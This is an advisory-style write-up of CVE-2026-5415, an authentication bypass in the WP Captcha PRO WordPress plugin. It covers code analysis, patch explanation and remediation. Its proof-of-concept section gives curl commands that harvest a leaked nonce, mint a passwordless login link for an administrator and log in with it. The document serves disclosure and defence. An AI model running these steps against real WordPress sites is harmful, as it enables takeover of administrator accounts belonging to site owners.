CVE-2026-5415: WP Captcha PRO Authentication Bypass (CVSS 8.8)
Table of Contents
CVE-2026-5415 is a CVSS 8.8 High Severity authentication bypass vulnerability in the premium WP Captcha PRO plugin, the paid build of the Advanced Google reCAPTCHA WordPress plugin. In all versions up to and including 5.38, a logged-in user with only Subscriber access can create a passwordless login link for any account, then use that link to sign in as an administrator. The result is complete account takeover.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | WP Captcha PRO (premium build of Advanced Google reCAPTCHA) |
| Plugin Slug | advanced-google-recaptcha |
| CVE ID | CVE-2026-5415 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Authenticated (Subscriber+) Authentication Bypass Using an Alternate Path or Channel |
| Affected Versions | <= 5.38 |
| Patched Version | 5.39 |
| Published | June 5, 2026 |
| Researcher | Nguyen Ngoc Duc (duc193) |
| Wordfence Advisory | Link |
Description
The WP Captcha PRO plugin for WordPress is vulnerable to authentication bypass in all versions up to and including 5.38. The ajax_run_tool() AJAX handler relies only on a nonce check (check_ajax_referer) for security and performs no capability check. Combined with the create_temporary_link tool, which generates passwordless login links for arbitrary users, and the handle_temporary_links() function, which authenticates visitors via those links with no extra authorization check, this lets a low-privilege user log in as anyone.
The required nonce is exposed to all authenticated backend users, including Subscribers, through wp_localize_script() on every non-settings admin page while the plugin’s welcome pointer has not been dismissed. As a result, an attacker with Subscriber-level access or above can bypass normal authentication and log in as any user, including an Administrator.
Note on source availability. WP Captcha PRO is a paid plugin and its 5.x releases are not distributed on WordPress.org. The free Advanced Google reCAPTCHA plugin shares the same slug and codebase, so the code shown below for the AJAX hook registration and the nonce exposure is taken directly from the free build (version 1.34) where it is identical. The PRO-only
create_temporary_linktool andhandle_temporary_links()function are described from the Wordfence advisory, because their source is not publicly downloadable. This is called out clearly in each section.
Technical Analysis
This vulnerability is not a single bug. It is a chain of three weaknesses that combine into full account takeover:
- A privileged AJAX action is reachable by every logged-in user.
- Its security nonce is leaked to every logged-in user, including Subscribers.
- The action can mint a passwordless login link for any account.
1. The AJAX action is open to all logged-in users
The handler is registered with the standard authenticated AJAX hook. In the shared codebase this lives in the main plugin file:
File: advanced-google-recaptcha.php:111
add_action('wp_ajax_wpcaptcha_run_tool', array('WPCaptcha_AJAX', 'ajax_run_tool'));
The wp_ajax_ prefix (without a matching wp_ajax_nopriv_) means the action runs for any authenticated user. A Subscriber is authenticated, so a Subscriber can reach this handler. Role does not matter at this layer — that is the job of a capability check inside the handler.
2. The handler trusts the nonce instead of the user’s role
The handler begins with a nonce check. In the free build, it also enforces a capability check right after it:
File: libs/ajax.php:16
static function ajax_run_tool()
{
global $wpdb;
check_ajax_referer('wpcaptcha_run_tool');
if (!current_user_can('manage_options')) {
wp_send_json_error(__('You are not allowed to run this action.', 'advanced-google-recaptcha'));
}
// ... tool dispatch ...
This is the correct pattern. The nonce stops cross-site request forgery, and current_user_can('manage_options') stops low-privilege users.
According to the Wordfence advisory, the vulnerable WP Captcha PRO 5.38 build of this same handler dropped the current_user_can('manage_options') check and relied on the nonce alone. A nonce is not an authorization control. It proves the request came from a page the user was allowed to load. It does not prove the user is an administrator.
3. The nonce is handed to every logged-in user
This is the part that turns a CSRF token into an open door. The plugin prints the wpcaptcha_run_tool nonce into the page of every admin screen except its own settings page, for any logged-in user, as long as the welcome pointer is still active:
File: libs/admin.php:106
$pointers = get_option(WPCAPTCHA_POINTERS_KEY);
if ('settings_page_wpcaptcha' != $hook) {
if ($pointers) {
$pointers['run_tool_nonce'] = wp_create_nonce('wpcaptcha_run_tool');
wp_enqueue_script('wp-pointer');
wp_enqueue_style('wp-pointer');
wp_localize_script('wp-pointer', 'wpcaptcha_pointers', $pointers);
}
// ...
}
The enqueue callback is hooked globally, with no role restriction:
File: advanced-google-recaptcha.php:104
add_action('admin_enqueue_scripts', array('WPCaptcha_Admin', 'admin_enqueue_scripts'));
admin_enqueue_scripts fires on every wp-admin page for every logged-in user. A Subscriber can open a normal admin page such as profile.php. The page source then contains a live, valid wpcaptcha_run_tool nonce inside the wpcaptcha_pointers JavaScript object. The welcome pointer is present by default after install and stays until an administrator opens the plugin settings page, so on most sites this condition is met.
Why a nonce is not authentication
WordPress nonces are CSRF tokens, not session or role checks. The plugin leaks a usable nonce to the lowest-privilege role, then accepts that nonce as the only gate on a privileged action. The attacker does not need to forge or steal anything. The site hands the token to them on a normal admin page.
The PRO-only temporary login link tool
The following behavior is described in the Wordfence advisory. The source is part of the paid WP Captcha PRO build and is not publicly downloadable, so it is summarized here rather than quoted.
- The vulnerable
ajax_run_tool()in PRO 5.38 exposes acreate_temporary_linktool. This tool generates a passwordless login link for a chosen user. - Because the capability check is missing, a Subscriber can call this tool and target an Administrator account.
- The
handle_temporary_links()function processes these links on the front end. It logs the visitor in as the target user with no further authorization check.
Attack impact
A user with Subscriber-level access or above can:
- Generate a login link for any account, including Administrator accounts.
- Log in as that account by visiting the link, with no password.
- Take full control of the site once logged in as an Administrator — install plugins, edit code, read the database, and create or remove users.
Subscriber registration is open on many WordPress sites, for comments, downloads, or membership. On those sites the entry barrier for this attack is a free account.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only. The exact request fields below are derived from the Wordfence advisory and the shared plugin code, because the WP Captcha PRO source is not publicly available for verification.
Prerequisites
- WordPress installation with WP Captcha PRO installed and activated.
- Plugin version <= 5.38.
- The attacker holds a Subscriber-level account (or higher).
- The plugin’s welcome pointer has not been dismissed (default state after install).
Step 1: Log in as a Subscriber and collect the nonce
Sign in with the low-privilege account and open any standard admin page. The settings page of the plugin is the one page that does not leak the nonce, so use a different one:
curl -s "https://target.com/wp-admin/profile.php" \
-b "wordpress_logged_in_COOKIE=<subscriber_session_cookie>" \
| grep -o '"run_tool_nonce":"[a-f0-9]*"'
Expected output (the leaked, valid nonce):
"run_tool_nonce":"a1b2c3d4e5"
Step 2: Create a temporary login link for an administrator
Call the wpcaptcha_run_tool AJAX action with the create_temporary_link tool, targeting the administrator account (commonly user ID 1). The leaked nonce satisfies check_ajax_referer, and the missing capability check lets the Subscriber through:
curl -s "https://target.com/wp-admin/admin-ajax.php" \
-b "wordpress_logged_in_COOKIE=<subscriber_session_cookie>" \
--data "action=wpcaptcha_run_tool" \
--data "tool=create_temporary_link" \
--data "user_id=1" \
--data "_ajax_nonce=a1b2c3d4e5"
Expected response (a passwordless login link for the admin):
{"success":true,"data":{"url":"https://target.com/?wpcaptcha_temp_login=<token>"}}
Step 3: Use the link to log in as the administrator
Open the returned link in a clean browser session with no cookies. The handle_temporary_links() handler authenticates the visitor as the target user:
curl -s -i "https://target.com/?wpcaptcha_temp_login=<token>"
Expected result: the response sets a WordPress authentication cookie for the administrator account and redirects into wp-admin.
Verification
Confirm the new session is an administrator:
curl -s "https://target.com/wp-admin/" \
-b "wordpress_logged_in_COOKIE=<new_admin_session_cookie>" \
| grep -i "Dashboard"
A successful load of the admin dashboard confirms the privilege escalation from Subscriber to Administrator.
Patch Analysis
The patched WP Captcha PRO 5.39 source is not publicly downloadable, so this section describes the fix based on the Wordfence remediation guidance and the secure pattern already present in the shared free codebase.
Fix Explanation
The fix restores the capability check on the privileged AJAX handler. After the nonce check, the patched handler verifies that the current user can actually manage the site before running any tool:
check_ajax_referer('wpcaptcha_run_tool');
if (!current_user_can('manage_options')) {
wp_send_json_error(__('You are not allowed to run this action.', 'advanced-google-recaptcha'));
}
This is the exact guard that the free Advanced Google reCAPTCHA build keeps in libs/ajax.php:22. With this check in place, a Subscriber who replays the leaked nonce is rejected before any tool runs. The create_temporary_link tool, and therefore the whole chain, becomes reachable only by users who already hold administrator-level capability.
Does the fix address the root cause?
Re-adding the capability check closes the privilege escalation, which is the root cause of the bypass. Two hardening steps remain worth noting for defense in depth: the plugin still leaks a privileged nonce to every logged-in user through the pointer code, and a passwordless login feature is high risk by design. Restricting the nonce to capable users and tightly scoping the temporary link feature would reduce the blast radius if any single check regresses again.
Timeline
| Date | Event |
|---|---|
| Before June 5, 2026 | Vulnerability discovered and reported by Nguyen Ngoc Duc (duc193) |
| June 5, 2026 | Publicly disclosed by Wordfence |
| June 5, 2026 | Patched version 5.39 released |
Remediation
Update WP Captcha PRO to version 5.39 or later. You can update from the WordPress admin dashboard or from your GetWPCaptcha account.
If you cannot update immediately, reduce your exposure:
- Review and remove untrusted Subscriber accounts, and disable open user registration if you do not need it.
- Have an administrator open the plugin’s settings page once, which dismisses the welcome pointer and stops the nonce leak on other admin pages.
- Audit your users for unexpected administrator accounts and recent logins.
The free Advanced Google reCAPTCHA plugin on WordPress.org is not affected, because it does not ship the temporary login link feature and keeps the capability check on the same AJAX handler.